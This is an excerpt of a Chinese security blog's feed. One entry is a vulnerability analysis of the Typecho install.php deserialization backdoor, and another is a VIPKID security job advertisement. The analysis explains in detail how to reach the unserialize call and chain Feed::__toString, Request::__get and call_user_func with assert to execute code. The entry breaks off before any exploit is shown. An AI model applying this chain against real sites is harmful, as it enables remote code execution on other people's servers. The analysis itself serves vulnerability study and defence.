    <content type="html"><![CDATA[<p>最早知道这个漏洞是在一个微信群里，说是<code>install.php</code>文件里面有个后门，看到别人给的截图一看就知道是个PHP反序列化漏洞，赶紧上服务器看了看自己的博客，发现自己也中招了，相关代码如下：</p><p><img src="https://static.secbox.cn/2017-10-26-15090112513058.jpg"></p><p>然后果断在文件第一行加上了die:</p><p>今天下午刚好空闲下来，就赶紧拿出来代码看看。</p><h2 id="漏洞分析"><a href="#漏洞分析" class="headerlink" title="漏洞分析"></a>漏洞分析</h2><p>先从<code>install.php</code>开始跟，229~235行：</p><p>要让代码执行到这里需要满足一些条件：</p><pre><code>//判断是否已经安装if (!isset($_GET[&#39;finish&#39;]) &amp;&amp; file_exists(__TYPECHO_ROOT_DIR__ . &#39;/config.inc.php&#39;) &amp;&amp; empty($_SESSION[&#39;typecho&#39;])) &#123;    exit;&#125;// 挡掉可能的跨站请求if (!empty($_GET) || !empty($_POST)) &#123;    if (empty($_SERVER[&#39;HTTP_REFERER&#39;])) &#123;        exit;    &#125;    $parts = parse_url($_SERVER[&#39;HTTP_REFERER&#39;]);    if (!empty($parts[&#39;port&#39;]) &amp;&amp; $parts[&#39;port&#39;] != 80 &amp;&amp; !Typecho_Common::isAppEngine()) &#123;        $parts[&#39;host&#39;] = &quot;&#123;$parts[&#39;host&#39;]&#125;:&#123;$parts[&#39;port&#39;]&#125;&quot;;    &#125;    if (empty($parts[&#39;host&#39;]) || $_SERVER[&#39;HTTP_HOST&#39;] != $parts[&#39;host&#39;]) &#123;        exit;    &#125;&#125;</code></pre><p>首先是<code>$_GET[&#39;finish&#39;]</code>不为空，其次是<code>referer</code>需要是本站，比较容易实现。</p><p>继续跟反序列化的地方：</p><pre><code>$config = unserialize(base64_decode(Typecho_Cookie::get(&#39;__typecho_config&#39;)));</code></pre><p>首先使用<code>Typecho_Cookie</code>的<code>get</code>方法获取<code>__typecho_config</code>，<code>get</code>方法如下：</p><pre><code>public static function get($key, $default = NULL)&#123;    $key = self::$_prefix . $key;    $value = isset($_COOKIE[$key]) ? $_COOKIE[$key] : (isset($_POST[$key]) ? $_POST[$key] : $default);    return is_array($value) ? $default : $value;&#125;</code></pre><p>可以看到给<code>$value</code>赋值这一行，如果<code>$_COOKIE</code>里面没有就从<code>$_POST</code>里面获取，所以我们测试漏洞的时候直接POST也是可以的，不用每次设置Cookie了。</p><p>反序列化漏洞要利用势必离不开魔术方法，我之前收集了一些和PHP反序列化有关的PHP函数：</p><pre><code>__wakeup() //使用unserialize时触发__sleep() //使用serialize时触发__destruct() //对象被销毁时触发__call() //在对象上下文中调用不可访问的方法时触发__callStatic() //在静态上下文中调用不可访问的方法时触发__get() //用于从不可访问的属性读取数据__set() //用于将数据写入不可访问的属性__isset() //在不可访问的属性上调用isset()或empty()触发__unset() //在不可访问的属性上使用unset()时触发__toString() //把类当作字符串使用时触发__invoke() //当脚本尝试将对象调用为函数时触发</code></pre><p><code>install.php</code>中有一行：</p><pre><code>$db = new Typecho_Db($config[&#39;adapter&#39;], $config[&#39;prefix&#39;]);</code></pre><p>其中Typecho_Db的构造函数如下，如果我们反序列化构造一个数组，其中<code>adapter</code>设置为一个类，那么就可以触发这个类的<code>__toString()</code>方法。</p><pre><code>    /**     * 数据库类构造函数     *     * @param mixed $adapterName 适配器名称     * @param string $prefix 前缀     * @throws Typecho_Db_Exception     */    public function __construct($adapterName, $prefix = &#39;typecho_&#39;)    &#123;        /** 获取适配器名称 */        $this-&gt;_adapterName = $adapterName;        /** 数据库适配器 */        $adapterName = &#39;Typecho_Db_Adapter_&#39; . $adapterName;</code></pre><p>然后我们全局搜索<code>__toString()</code>方法，发现两个有搞头的文件：</p><pre><code>/var/Typecho/Feed.php/var/Typecho/Db/Query.php</code></pre><p>我这里跟一下<code>Feed.php</code>，查看<code>Feed.php</code>的<code>__toString（）</code>方法，其中第290行：</p><pre><code>foreach ($this-&gt;_items as $item) &#123;    $content .= &#39;&#39; . self::EOL;    $content .= &#39;&#39; . htmlspecialchars($item[&#39;title&#39;]) . &#39;&#39; . self::EOL;    $content .= &#39;&#39; . $item[&#39;link&#39;] . &#39;&#39; . self::EOL;    $content .= &#39;&#39; . $item[&#39;link&#39;] . &#39;&#39; . self::EOL;    $content .= &#39;&#39; . $this-&gt;dateFormat($item[&#39;date&#39;]) . &#39;&#39; . self::EOL;    $content .= &#39;&#39; . htmlspecialchars($item[&#39;author&#39;]-&gt;screenName) . &#39;&#39; . self::EOL;    //省略........&#125;</code></pre><p>其中调用了<code>$item[&#39;author&#39;]-&gt;screenName</code>，<code>$item</code>是<code>$this-&gt;_items</code>的foreach循环出来的，并且<code>$this-&gt;_items</code>是<code>Typecho_Feed</code>类的一个<code>private</code>属性。</p><p>我们可以利用这个<code>$item</code>来调用某个类的<code>__get()</code>方法，上面说过<code>__get()</code>方法是用于从不可访问的属性读取数据，实际执行中这里会获取该类的<code>screenName</code>属性，如果我们给<code>$item[&#39;author&#39;]</code>设置的类中没有<code>screenName</code>就会执行该类的<code>__get()</code>方法，我们继续来全局搜索一下<code>__get()</code>方法。</p><p>发现<code>/var/Typecho/Request.php</code>中的<code>__get()</code>方法如下：</p><pre><code>public function __get($key)&#123;    return $this-&gt;get($key);&#125;</code></pre><p>跟进<code>$this-&gt;get()</code>方法如下：</p><pre><code>public function get($key, $default = NULL)&#123;    switch (true) &#123;        case isset($this-&gt;_params[$key]):            $value = $this-&gt;_params[$key];            break;        case isset(self::$_httpParams[$key]):            $value = self::$_httpParams[$key];            break;        default:            $value = $default;            break;    &#125;    $value = !is_array($value) &amp;&amp; strlen($value) &gt; 0 ? $value : $default;    return $this-&gt;_applyFilter($value);&#125;</code></pre><p>这里没什么问题，但最后一行：</p><pre><code>return $this-&gt;_applyFilter($value);</code></pre><p>跟进一下发现：</p><pre><code>private function _applyFilter($value)&#123;    if ($this-&gt;_filter) &#123;        foreach ($this-&gt;_filter as $filter) &#123;            $value = is_array($value) ? array_map($filter, $value) :            call_user_func($filter, $value);        &#125;        $this-&gt;_filter = array();    &#125;    return $value;&#125;</code></pre><p>这个<code>foreach</code>里面判断如果<code>$value</code>是数组就执行<code>array_map</code>否则调用<code>call_user_func</code>，这俩函数都是执行代码的关键方法。而这里<code>$filter</code>和<code>$value</code>我们几乎都是可以间接控制的，所以就可以利用<code>call_user_func</code>或者<code>array_map</code>来执行代码，比如我们设置<code>$filter</code>为数组，第一个数组键值是<code>assert</code>，<code>$value</code>设置php代码，即可执行。</p><p>然后我们来完成Exploit如下：</p>]]></content>
    
    
      
      
    <summary type="html">&lt;p&gt;最早知道这个漏洞是在一个微信群里，说是&lt;code&gt;install.php&lt;/code&gt;文件里面有个后门，看到别人给的截图一看就知道是个PHP反序列化漏洞，赶紧上服务器看了看自己的博客，发现自己也中招了，相关代码如下：&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://sta</summary>
      
    
    
    
    <category term="shenji" scheme="http://www.hackersb.cn/categories/shenji/"/>
    
    
    <category term="typecho" scheme="http://www.hackersb.cn/tags/typecho/"/>
    
    <category term="反序列化" scheme="http://www.hackersb.cn/tags/%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96/"/>
    
  </entry>
  
  <entry>
    <title>VIPKID安全团队诚聘安全人才（补充医疗、住房补贴）</title>
    <link href="http://www.hackersb.cn/hacker/238.html"/>
    <id>http://www.hackersb.cn/hacker/238.html</id>
    <published>2017-09-28T09:36:32.000Z</published>
    <updated>2021-08-09T08:58:49.394Z</updated>
    
    <content type="html"><![CDATA[<p>公司安全团队招人，欢迎各位小伙伴来跟我一起共事 :)</p><h2 id="公司介绍"><a href="#公司介绍" class="headerlink" title="公司介绍"></a>公司介绍</h2><p>VIPKID 是由创新工场、经纬中国、红杉资本、北极光、真格基金、云锋基金以及由科比创立的Bryant Stibel基金等投资机构联合投资的互联网教育公司，专注为4-12 岁左右的小朋友提供有效、生动的在线英语学习体验。我们拥有优质的北美小学教师资源，孩子通过1对1在线视频互动平台，在家就可以同北美老师连线。VIPKID的教材均为基于美国共同核心州立标准（CCSS）而独立研发的适合中国孩子的教材。</p><p>VIPKID的外教均来自于美国和加拿大，熟悉北美文化，拥有国际视野，外教们大多拥有美国优质高校的学历背景，拥有丰富的少儿英语教学经验。VIPKID对外教有严格的招聘及考核标准，录取率低于10%。</p><p>在 VIPKID，我们希望小朋友不仅可以学会说一口流利的英语，还可以接触国际前沿的教育内容，培养孩子的创造力、表达力，以及独立思考的能力。</p><p>VIPKID目前拥有学员超过80万名，在册北美外教超过20000名，我们的愿景是：帮孩子插上语言的翅膀，自由行走于这个星球。。</p><p>安全团队简介：</p><p>VIPKID安全部致力于公司整体安全体系的建设与持续运营，为公司业务快速发展提供强有利、可靠的安全保障。</p><p>官方网站：<a href="http://www.vipkid.com.cn/">http://www.vipkid.com.cn/</a></p><h2 id="工作地址"><a href="#工作地址" class="headerlink" title="工作地址"></a>工作地址</h2><p>北京市东城区豆腐池胡同23号（鼓楼大街附近）</p><h2 id="招聘岗位"><a href="#招聘岗位" class="headerlink" title="招聘岗位"></a>招聘岗位</h2><h3 id="数据安全工程师（高级、专家）"><a href="#数据安全工程师（高级、专家）" class="headerlink" title="数据安全工程师（高级、专家）"></a>数据安全工程师（高级、专家）</h3><p>所属部门：安全部-业务安全组</p><p>岗位职责：</p><ol><li> 基于公司具体业务场景，分析、评估公司面临的数据安全风险和安全现状，并提供可落地的数据安全解决方案</li><li> 主导VIPKID整体数据安全体系的建设与持续运营</li><li> 负责数据安全体系的技术方向、实现思路、产品架构、功能设计</li><li> 与公司内其他部门合作，推动完成数据安全体系建设和落地</li><li> 数据安全事件应急响应</li><li> 对相关人员进行数据安全培训，提升公司整体数据安全水平</li></ol><p>任职要求：</p><ol><li> 对数据安全有浓厚的兴趣，有大型互联网公司成熟数据安全体系建设经验者优先</li><li> 扎实的计算机编程基础，有C/C++、Java 项目编程经验</li><li> 有深厚的数据安全架构、产品设计能力；主导过较大规模或较复杂的数据处理工作</li><li> 精通数据仓库、数据挖掘以及大数据技术的技术体系；有过大型数据处理平台系统架构设计经验或实施经验者优先</li></ol><h3 id="业务安全工程师（高级、专家）"><a href="#业务安全工程师（高级、专家）" class="headerlink" title="业务安全工程师（高级、专家）"></a>业务安全工程师（高级、专家）</h3><p>所属部门：安全部-业务安全组</p><p>岗位职责：</p><ol><li> 负责公司内、部外产品的业务安全风险评估并提供可落地的安全解决方案</li><li> 主导公司业务安全体系和风控系统的建设和持续运营</li><li> 与公司内其他部门合作，推动完成业务安全体系建设和落地</li><li> 业务安全事件应急响应</li><li> 对相关人员进行业务安全培训，提升公司整体业务安全水平和安全意识</li></ol><p>任职要求：</p><ol><li> 对业务安全有浓厚的兴趣，有大型互联网公司成熟业务安全、风控体系建设经验者优先</li><li> 有较强的数据分析能力和逻辑思维能力</li><li> 具备良好责任心，沟通协调他文档编写能力等</li></ol><h3 id="安全运营工程师"><a href="#安全运营工程师" class="headerlink" title="安全运营工程师"></a>安全运营工程师</h3><p>所属部门：安全部-安全应急响应中心</p><p>岗位职责：</p><p>1、负责打造VIPKID SRC对外影响力和美誉度；</p><p>2、提升白帽子数量和粘性，提升平台漏洞投入产出比；</p><p>3、负责SRC相关的各项安全策略的制定、编写、推动、运营和产品化；</p><p>4、负责组织安全相关线上和线下活动。</p><p>任职要求：</p><p>1、3年以上工作经验，熟悉漏洞管理等安全运营工作，对主流安全漏洞有基本的认知</p><p>2、具备独立策划和落实线上和线下活动的能力，有一定的创造力</p><p>3、熟悉安全业界的常见的媒体、平台、厂商等相关渠道及推广手段</p><p>4、良好的沟通表达能力、文字功底及情绪管理能力</p><p>5、在安全业界有一定影响力者优先</p><h2 id="薪酬福利"><a href="#薪酬福利" class="headerlink" title="薪酬福利"></a>薪酬福利</h2><p>员工福利：五险一金、补充医疗、住房补贴、员工子女免费在VIPKID学习等</p><p>薪资范围：15K-35K（视个人能力而定，能力突出者不受此限制）</p><h2 id="联系方式"><a href="#联系方式" class="headerlink" title="联系方式"></a>联系方式</h2><p>简历投递邮箱：<a href="mailto:&#115;&#101;&#x63;&#x75;&#x72;&#105;&#116;&#121;&#64;&#118;&#105;&#112;&#107;&#x69;&#100;&#46;&#99;&#x6f;&#x6d;&#46;&#99;&#110;">&#115;&#101;&#x63;&#x75;&#x72;&#105;&#116;&#121;&#64;&#118;&#105;&#112;&#107;&#x69;&#100;&#46;&#99;&#x6f;&#x6d;&#46;&#99;&#110;</a></p>]]></content>
    
    
      
      
    <summary type="html">&lt;p&gt;公司安全团队招人，欢迎各位小伙伴来跟我一起共事 :)&lt;/p&gt;
&lt;h2 id=&quot;公司介绍&quot;&gt;&lt;a href=&quot;#公司介绍&quot; class=&quot;headerlink&quot; title=&quot;公司介绍&quot;&gt;&lt;/a&gt;公司介绍&lt;/h2&gt;&lt;p&gt;VIPKID 是由创新工场、经纬中国、红杉资本、北极光、</summary>
      
    
    
    
    <category term="hacker" scheme="http://www.hackersb.cn/categories/hacker/"/>
    
    
  </entry>
  
</feed>